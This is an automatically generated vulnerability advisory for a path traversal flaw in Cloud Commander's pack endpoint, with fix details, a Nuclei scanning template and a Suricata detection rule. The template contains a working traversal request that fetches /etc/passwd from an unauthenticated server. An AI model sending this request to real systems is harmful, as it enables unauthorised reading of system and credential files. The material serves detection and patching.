CVE-2026-110690: Cloud Commander 19.20.2 through 19.21.1 Path Traversal via GET /api/v1/pack

What it is

Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at server/rest/index.js:130 calls the unguarded root() function instead of the root.resolve() validation wrapper used elsewhere. Attackers can send percent-encoded directory traversal sequences in the pack request path to read arbitrary files outside the configured --root directory, such as /etc/passwd or SSH private keys, which are archived and streamed back as a downloadable tar.gz file.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-10-14).

Weakness: Relative Path Traversal

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 8 references on Exploit Observer

Live scores

EPSS

0.009
low predicted chance of attack

VEDAS

0.990
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 19.21.2.

Vendor guidance:

• Vendor Patch (patch)

How to detect it

Nuclei template (active check)

Cloud Commander - Pack Endpoint Path Traversal Arbitrary File Read

Cloud Commander (cloudcmd) 19.20.2 through 19.21.1 is affected by a path traversal in the GET /api/v1/pack endpoint. The onGET handler resolves the request path with the unguarded root() function instead of the root.resolve() validation wrapper, so percent-encoded traversal sequences appended to /api/v1/pack escape the configured --root directory. An unauthenticated attacker can request an arbitrary file, which is archived and streamed back as a gzip (tar.gz) download. This template requests /etc/passwd through the pack endpoint and confirms a gzip archive is returned to an unauthenticated client.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /api/v1/pack..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd.ta...); it decides using binary, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-110690.yaml

id: CVE-2026-110690

info:
  name: "Cloud Commander - Pack Endpoint Path Traversal Arbitrary File Read"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Cloud Commander (cloudcmd) 19.20.2 through 19.21.1 is affected by a path traversal in the
    GET /api/v1/pack endpoint. The onGET handler resolves the request path with the unguarded
    root() function instead of the root.resolve() validation wrapper, so percent-encoded
    traversal sequences appended to /api/v1/pack escape the configured --root directory. An
    unauthenticated attacker can request an arbitrary file, which is archived and streamed back
    as a gzip (tar.gz) download. This template requests /etc/passwd through the pack endpoint and
    confirms a gzip archive is returned to an unauthenticated client.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-110690&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cloudcmd&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-110690
    cwe-id: CWE-23
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,cloudcmd,lfi,traversal

http:
  - raw:
      - |
        GET /api/v1/pack..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd.tar.gz HTTP/1.1
        Host: {{Hostname}}
        Accept: application/octet-stream

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - "1f8b08"

      - type: status
        status:
          - 200

CVE-2026-110690.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-110690 Cloud Commander - Pack Endpoint Path Traversal Arbitrary File Read. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-110690 Cloud Commander - Pack Endpoint Path Traversal Arbitrary File Read"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/api/v1/pack.."; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-110690; reference:url,https://www.exploit.observer/?keyword=CVE-2026-110690&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cloudcmd&match=exact; sid:1083200; rev:1;)

CVE-2026-110690.rules on GitHub

References

Vendor advisories and patches

• Vendor Patch (patch)

Technical analysis and advisories

• https://github.com/coderaiser/cloudcmd/commit/91c024591f425e26200884d5e1d5ba972377968b (issue-tracking)
• https://gist.github.com/mansurmavlankulov/5a0c4cbab8e49ac0669d126c854da95e (technical-description)
• VulnCheck Advisory: Cloud Commander 19.20.2 through 19.21.1 Path Traversal via GET /api/v1/pack (third-party-advisory)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.